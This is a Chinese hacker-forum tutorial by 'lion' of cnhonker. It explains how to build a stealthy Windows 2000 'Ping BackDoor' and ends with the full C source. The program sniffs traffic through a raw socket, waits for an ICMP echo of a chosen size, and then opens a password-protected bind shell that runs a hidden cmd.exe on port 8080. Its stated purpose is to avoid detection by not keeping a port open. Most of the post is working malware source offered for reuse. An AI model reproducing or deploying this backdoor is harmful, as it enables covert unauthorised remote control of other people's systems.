
级别:中级站友 威望:0 经验:0 货币:189 体力: 来源:61.163.95.* 总发帖数:31 注册日期:2001-06-30
|
|
查看 邮件 主页 QQ 消息 引用 复制 下载
--------------------------------------------------------------------------------
发布者:lion 来源: 类别:原创天地 日期:02-21 今日/总浏览: 47/1994
Win2000 下Ping 后门的简单实现
作者: lion
(lion@cnhonker.net) 主页: http://www.cnhonker.net 中国红客网络技术联盟
试验环境 Win2K + VC++6.0
1. 初期的想法
在使用了小榕的Remotenc后,总觉得老是开放着一个端口不是很好,很容易被发现。能不能在Win2000下实现
象Ping BackDoor for Linux/Solaris等类似的功能呢?把这个后门安装成服务,但不开端口,当接收到特定
大小的ping 包以后,就打开一个特定的端口接收连接。OK,我来试试:)
2. 尝试
记得以前玩lion worm时改写过一个Ping BackDoor for
Linux,所以开始时我就想能不能把这个移植到Win2000
下。于是就简单的改了一下,开了个连接,接受ICMP包(ICMP全称是Internet Control Message
Protocol--互联网控
制报文协议 它是IP协议的附属协议,用来传递差错报文以及其他需要注意的消息报文。我们常用的Ping就是用ICMP
来进行通讯的),以为Windows能象linux下一样乖乖的把收到的ICMP包交给自己的
socket,结果ping了老半天没收到 一个bit。
于是就开始在google上查找资料,最后终于知道了如果要在Win2000下实现类似Ping BackDoor for
Linux的后门, 必须以 sniffer
的方式监听ICMP包,而在win2000下写一个简单的sniffer并不需要自己编写驱动。:)中文详细资料
请看绿盟zhangbo的 无需驱动程序的Sniffer-IPMon 一文, WinSock 2 允许程序使用WSAIoctl(
)给一个SOCK_RAW类型 的socket设置SIO_RCVALL属性,该socket就可以收到所有经过本机的数据。
3.具体实现方法如下:
(1) 创建一个SOCK_RAW socket //
创建一个原始socket, 接受所有接收的包(sniffer) if ((socksniffer =
WSASocket(AF_INET, SOCK_RAW, IPPROTO_IP, NULL, 0,
WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET) {
printf("WSASocket() failed: %d\n", WSAGetLastError());
return -1; }
(2) 将该socket与本机的某个网络接口绑定
// 取得本地地址 gethostname((char*)LocalName,
sizeof(LocalName)-1); if((hp =
gethostbyname((char*)LocalName)) == NULL) { return -1;
} memset(&dest,0,sizeof(dest));
memcpy(&dest.sin_addr.s_addr, hp->h_addr_list[0],
hp->h_length); // TCP嗅探选项 dest.sin_family = AF_INET;
dest.sin_port = htons(8000); // 指定任意端口 //
socket bind bind(socksniffer, (PSOCKADDR)&dest,
sizeof(dest));
(3) 用WSAIoctl( )给一个SOCK_RAW
socket设置SIO_RCVALL属性 // 设置socket为接受所有包
WSAIoctl(socksniffer, SIO_RCVALL, &dwBufferInLen,
sizeof(dwBufferInLen), &dwBufferLen,
sizeof(dwBufferLen),&dwBytesReturned , NULL , NULL
);
(4) 循环读取嗅探到的包,判断包的大小是否为设定要监听的包的大小再把数据交给 sniffer 解包程序处理
(当然你也可以先判断是否为ICMP包) // 循环监听包的大小 while(1) {
// 读数据 sread = recvfrom(socksniffer, recvbuf,
MAX_PACKET, 0, (struct sockaddr*)&from, &fromlen);
// 如果读数据出错 if (sread == SOCKET_ERROR || sread <
0) { if (WSAGetLastError() == WSAETIMEDOUT)
continue; printf("recvfrom failed:
%d\n",WSAGetLastError()); return -1; }
else // 如果读到数据的大小 == 监听包的大小 + 28 if ( sread
== packsize + 28) { // 将接收到的数据交给 sniffer 解包程序处理
decode_sniffer(recvbuf, sread - 28, &from); }
}
(5) sniffer 解包程序再判断读取的包是否为 ICMP_ECHO ICMP回显请求报文
sniffer解包这里的处理很简单,大家可以任意发挥.:)
1.首先定义IP和ICMP首部,以便于解包程序解包 // 定义IP 首部 typedef
struct iphdr { unsigned char h_verlen; //
4位首部长度,4位IP版本号 unsigned char tos; // 8位服务类型TOS
unsigned short total_len; // 16位总长度(字节) unsigned
short ident; // 16位标识 unsigned short
frag_and_flags; // 3位标志位 unsigned char ttl; //
8位生存时间 TTL unsigned char proto; // 8位协议(TCP, UDP 或其他)
unsigned short checksum; // 16位IP首部校验和 unsigned
int sourceIP; // 32位源IP地址 unsigned int destIP; //
32位目的IP地址 } IPHeader; // IP首部长度为20 // 定义ICMP首部
typedef struct _ihdr { unsigned char
i_type; // 8位类型 unsigned char i_code; // 8位代码
unsigned short i_cksum; // 16位校验和 unsigned
short i_id; // 识别号(一般用进程号作为识别号) unsigned short
i_seq; // 报文序列号 } ICMPHeader; // ICMP首部长度为8
2. 简单sniffer解包程序,如果收到的包为ICMP_ECHO
类型,且大小为监听的包的大小,就开一个bindshell // 简单Sniffer 解包程序 void
decode_sniffer(char *buf, int bytes, struct sockaddr_in *from)
{ ICMPHeader *icmphdr;
//
ICMP首部的地址等于buf+IP首部长度:buf+20 icmphdr = (ICMPHeader *)(buf +
sizeof(IPHeader)); // 简单判断如果为icmp 请求包 if
(icmphdr->i_type == ICMP_ECHO) { // bind shell
bindshell(NULL); } else
printf("\r\n Get Other Packets!");
return;
}
(6) bind shell的实现 1.在指定端口创建一个server
socket接受连接 // 创建一个socket bindServer = socket(AF_INET,
SOCK_STREAM, IPPROTO_TCP); // 服务器地址和端口指定
addrServer.sin_family = AF_INET; addrServer.sin_port =
htons(bport); addrServer.sin_addr.s_addr = ADDR_ANY; //
设置超时60s int TimeOut = 60000; setsockopt(bindServer,
SOL_SOCKET, SO_RCVTIMEO, (char*)&TimeOut, sizeof(TimeOut));
// 监听端口 bind(bindServer, (struct
sockaddr*)&addrServer, sizeof(addrServer));
listen(bindServer, 2); printf("\r\n Bind Port on %d
ok.", bport); // 接受client连接 int iLen =
sizeof(addrClient);
2.如果有连接进来就为连接新建一个socket句柄 getClient
// 接收1次连接 SOCKET getClient = accept(bindServer, (struct
sockaddr*)&addrClient, &iLen); if(getClient !=
INVALID_SOCKET) { // 如果有连接进来设置延时为60S int
iTimeOut = 60000; setsockopt(getClient, SOL_SOCKET,
SO_RCVTIMEO, (char*)&iTimeOut, sizeof(iTimeOut)); }
else return -1;
3.有连接进来后开一个绑定cmd.exe的进程执行输入的命令,并把执行的结果返回给socket getClient
3.1 首先创建两个匿名管道,一个用于新进程的输入,一个用于新进程的输出 // 建两个匿名管道
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
SECURITY_ATTRIBUTES sa; sa.nLength=12;
sa.lpSecurityDescriptor=0; sa.bInheritHandle=TRUE;
CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0); //
pipe1 CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);
// pipe2
3.2 创建一个绑定cmd.exe的进程,
由hReadPipe2读数据,向hWritePipe1写数据 // 创建一个cmd进程,
由hReadPipe2读数据,向hWritePipe1写数据 char cmdLine[] = "cmd.exe";
STARTUPINFO siinfo; PROCESS_INFORMATION
ProcessInformation; ZeroMemory(&siinfo,sizeof(siinfo));
siinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
siinfo.wShowWindow = SW_HIDE; siinfo.hStdInput =
hReadPipe2; // 新进程读取写入pipe2的数据 siinfo.hStdOutput =
siinfo.hStdError = hWritePipe1; // 新进程向pipe1写数据
CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&siinfo,&ProcessInformation);
3.3 循环读取hReadPipe1和连接是否有数据
把新进程的输出(hWritePipe1)数据写入新连接中, 把从socket
getClient收到的数据写入进进程的输入管道(Pipe2) unsigned long lBytesRead;
while(1) { // 检查管道pipe1是否有数据返回
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
if(lBytesRead) { // 从管道pipe1读数据
ret =
ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break; // 把从管道pipe1读到的数据写入连接
getClient ret = send(getClient,Buff,lBytesRead,0);
if(ret <= 0) break; } else {
// 如果连接 getClient 有接收到数据 lBytesRead =
recv(getClient,Buff,1024,0); if(lBytesRead <= 0)
break; // 把从连接 getClient 读到的数据写入Pipe2 ret =
WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break; } }
(7) 程序完工
4.
附简单的 Ping BackDoor for Win2K 源代码 大家可以任意修改:) ICMP Shell for
Win2K 正在编写中,请稍侯.
/*
======================================================================
Ping BackDoor V0.1 For Win2K Code by Lion. Welcome to
Http://www.cnhonker.net
=========================================================================
*/
#include <stdio.h> #include <stdlib.h>
#include <winsock2.h> //#include <ws2tcpip.h>
#include <mstcpip.h>
#define ICMP_ECHO
8 // ICMP回显请求报文的类型值为8 #define ICMP_ECHOREPLY 0 //
ICMP回显应答报文的类型值为0 #define SNIFFER_ICMP_SIZE 101 // 监听ICMP包的大小
#define BIND_PORT 8080 // 默认bind shell 端口 #define
MAX_PACKET 10000 // 最大ICMP包的大小 #define DEF_PASSWORD
"givemeshell!" // 默认密码
#define xmalloc(s)
HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,(s))
// 定义IP 首部
typedef struct iphdr { unsigned char h_verlen; //
4位首部长度,4位IP版本号 1 unsigned char tos; //
8位服务类型TOS 1 unsigned short total_len; //
16位总长度(字节) 2 unsigned short ident; //
16位标识 2 unsigned short frag_and_flags; //
3位标志位 2 unsigned char ttl; // 8位生存时间
TTL 1 unsigned char proto; // 8位协议(TCP, UDP
或其他) 1 unsigned short checksum; // 16位IP首部校验和 2
unsigned int sourceIP; // 32位源IP地址 4
unsigned int destIP; // 32位目的IP地址 4 }
IPHeader; // IP首部长度为: 20
// 定义ICMP首部
typedef struct _ihdr { unsigned char i_type; //
8位类型 1 unsigned char i_code; //
8位代码 1 unsigned short i_cksum; //
16位校验和 2 unsigned short i_id; //
识别号(一般用进程号作为识别号) 2 unsigned short i_seq; //
报文序列号 2 } ICMPHeader; //
ICMP首部长度为: 8
int sniffer(); //
监听ICMP 大小 void decode_sniffer(char *, int, struct sockaddr_in
*); // 简单Sniffer 解包程序 DWORD CALLBACK
bindshell(LPVOID); // bind shell
DWORD
dwBufferLen[10]; DWORD dwBufferInLen = 1; DWORD
dwBytesReturned = 0; HANDLE bindthread;
// ICMPDoor
主函数 int main(int argc, char **argv) { WSADATA wsaData;
int retval; // socket 初始化 if ((retval =
WSAStartup(MAKEWORD(2,2), &wsaData)) != 0) {
printf("WSAStartup failed: %d\n",retval); exit(-1);
}
// sniffer 开始 sniffer();
// socket
结束 WSACleanup(); return 0; }
// sniffer 主函数
int sniffer() { int packsize = SNIFFER_ICMP_SIZE;
SOCKET socksniffer; struct sockaddr_in dest,from;
struct hostent * hp; int sread; int fromlen =
sizeof(from); unsigned char LocalName[256]; char
*recvbuf;
// 创建一个原始socket, 接受所有接收的包(sniffer) if
((socksniffer = WSASocket(AF_INET, SOCK_RAW, IPPROTO_IP, NULL, 0,
WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET) {
printf("WSASocket() failed: %d\n", WSAGetLastError());
return -1; }
// 取得本地地址
gethostname((char*)LocalName, sizeof(LocalName)-1);
if((hp = gethostbyname((char*)LocalName)) == NULL) {
return -1; } memset(&dest,0,sizeof(dest));
memcpy(&dest.sin_addr.s_addr, hp->h_addr_list[0],
hp->h_length); // TCP嗅探选项 dest.sin_family = AF_INET;
dest.sin_port = htons(8000); // 指定任意端口
// socket bind bind(socksniffer, (PSOCKADDR)&dest,
sizeof(dest));
// 设置socket为接受所有包
WSAIoctl(socksniffer, SIO_RCVALL, &dwBufferInLen,
sizeof(dwBufferInLen), &dwBufferLen,
sizeof(dwBufferLen),&dwBytesReturned , NULL , NULL );
// 分配socket接收缓冲区大小为MAX_PACKET recvbuf = (char
*)xmalloc(MAX_PACKET);
// 循环监听包的大小 while(1) {
// 读数据 sread = recvfrom(socksniffer, recvbuf,
MAX_PACKET, 0, (struct sockaddr*)&from, &fromlen);
// 如果读数据出错 if (sread == SOCKET_ERROR || sread
< 0) { if (WSAGetLastError() == WSAETIMEDOUT)
{ continue; }
printf("recvfrom failed: %d\n",WSAGetLastError());
return -1; } else // if ( sread
>= 28) // 如果读到数据的大小 == 监听包的大小 + 28 if ( sread ==
packsize + 28) { // 将接收到的数据交给 sniffer 解包程序处理
decode_sniffer(recvbuf, sread - 28, &from); }
} return 1; }
// 简单Sniffer 解包程序 void
decode_sniffer(char *buf, int bytes, struct sockaddr_in *from) {
ICMPHeader *icmphdr;
// ICMP首部的地址等于buf+IP首部长度:buf+20
icmphdr = (ICMPHeader *)(buf + sizeof(IPHeader));
/*
printf("\r\n %d bytes from %s,", bytes,
inet_ntoa(from->sin_addr)); // 取出接收数据 printf("
ICMP_Type: %d", icmphdr->i_type); // 取出类型 printf("
ICMP_Seq: %d\r\n", icmphdr->i_seq); // 取出序列号
//取出数据段 buf + 28 + i for(int i = 0; i < bytes - 1;
i++) { printf("%c", *(buf + sizeof(IPHeader) +
sizeof(ICMPHeader) + i)); } */ // if
(icmphdr->i_type == ICMP_ECHO || icmphdr->i_type ==
ICMP_ECHOREPLY) // 简单判断如果为icmp 请求包 if
(icmphdr->i_type == ICMP_ECHO) { // bind shell
bindshell(NULL); // DWORD bid;
// bindthread = CreateThread(NULL, 0, bindshell, 0, 0,
&bid); } else printf("\r\n Get Other
Packets!");
return; }
// bind shell函数
DWORD CALLBACK bindshell(LPVOID) { int bport =
BIND_PORT; SOCKET bindServer, getClient; struct
sockaddr_in addrServer, addrClient; char Buff[4096];
char *messages = "\r\n======================== Ping BackDoor
V0.1 ========================\r\n========= Code by Lion. Welcome to
Http://www.cnhonker.net =========\r\n"; char *getpass = "\r\n
Your PassWord:"; char *passok = "\r\n OK! Please Enter:";
char *nothispass = "\r\n Sorry, Your PassWord Not Right.\r\n";
char *exitok = "\r\n Exit OK!\r\n"; int ret;
// 创建一个socket bindServer = socket(AF_INET,
SOCK_STREAM, IPPROTO_TCP);
// 服务器地址和端口指定
addrServer.sin_family = AF_INET; addrServer.sin_port =
htons(bport); addrServer.sin_addr.s_addr = ADDR_ANY;
// 设置超时 int TimeOut = 60000;
setsockopt(bindServer, SOL_SOCKET, SO_RCVTIMEO,
(char*)&TimeOut, sizeof(TimeOut));
// 设置重复利用端口
UINT bReUser = 1; setsockopt(bindServer, SOL_SOCKET,
SO_REUSEADDR, (char*)&bReUser, sizeof(bReUser));
//
监听端口 bind(bindServer, (struct sockaddr*)&addrServer,
sizeof(addrServer)); listen(bindServer, 2);
printf("\r\n Bind Port on %d ok.", bport);
//
接受client连接 int iLen = sizeof(addrClient);
// 接收1次连接
getClient = accept(bindServer, (struct
sockaddr*)&addrClient, &iLen);
if(getClient !=
INVALID_SOCKET) { // 如果有连接进来设置延时为60S int
iTimeOut = 60000; setsockopt(getClient, SOL_SOCKET,
SO_RCVTIMEO, (char*)&iTimeOut, sizeof(iTimeOut)); }
else return -1;
// 写欢迎信息
send(getClient, messages, strlen(messages), 0);
//
写密码验证信息 send(getClient, getpass, strlen(getpass), 0);
// 接收数据 recv(getClient,Buff,1024,0);
//
验证密码 if(!(strstr(Buff, DEF_PASSWORD))) { //
如果密码错误,写密码错误信息 send(getClient, nothispass,
strlen(nothispass), 0); printf("\r\n PassWord Not Right!");
closesocket(getClient); closesocket(bindServer);
return -1; }
// 写通过验证信息
send(getClient, passok, strlen(passok), 0);
//
建两个匿名管道 HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
unsigned long lBytesRead; SECURITY_ATTRIBUTES
sa; sa.nLength=12; sa.lpSecurityDescriptor=0;
sa.bInheritHandle=TRUE;
CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);
STARTUPINFO siinfo; char cmdLine[] = "cmd.exe";
PROCESS_INFORMATION ProcessInformation;
ZeroMemory(&siinfo,sizeof(siinfo));
siinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
siinfo.wShowWindow = SW_HIDE; siinfo.hStdInput =
hReadPipe2; // 读取写入pipe2的数据 siinfo.hStdOutput =
siinfo.hStdError = hWritePipe1; // 向这里写数据
printf("\r\n
Pipe Create OK!");
// 创建一个cmd进程,
由hReadPipe2读数据,向hWritePipe1写数据 int bread =
CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&siinfo,&ProcessInformation);
while(1) { // 检查管道是否有数据返回
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
if(lBytesRead) { // 从管道hReadPipe1读数据
ret =
ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break; //
把从管道hReadPipe1读到的数据写入连接 getClient ret =
send(getClient,Buff,lBytesRead,0); if(ret <= 0) break;
} else { // 如果连接 getClient 有接收到数据
lBytesRead = recv(getClient,Buff,1024,0);
if(lBytesRead <= 0) break; // 把从连接
getClient 读到的数据写入hWritePipe2 ret =
WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
if(lBytesRead > 4 && Buff[0]=='e' &&
Buff[1]=='x' && Buff[2]=='i' && Buff[3]=='t')
{ // 写退出信息 send(getClient, exitok,
strlen(exitok), 0); closesocket(getClient);
closesocket(bindServer); return 1;
}
if(!ret) break; } }
closesocket(getClient); closesocket(bindServer);
return 1; }
发布者: lion 来源:
文章版权归原作者所有, 未经允许请勿转载, 如有任何问题请联系我们.
|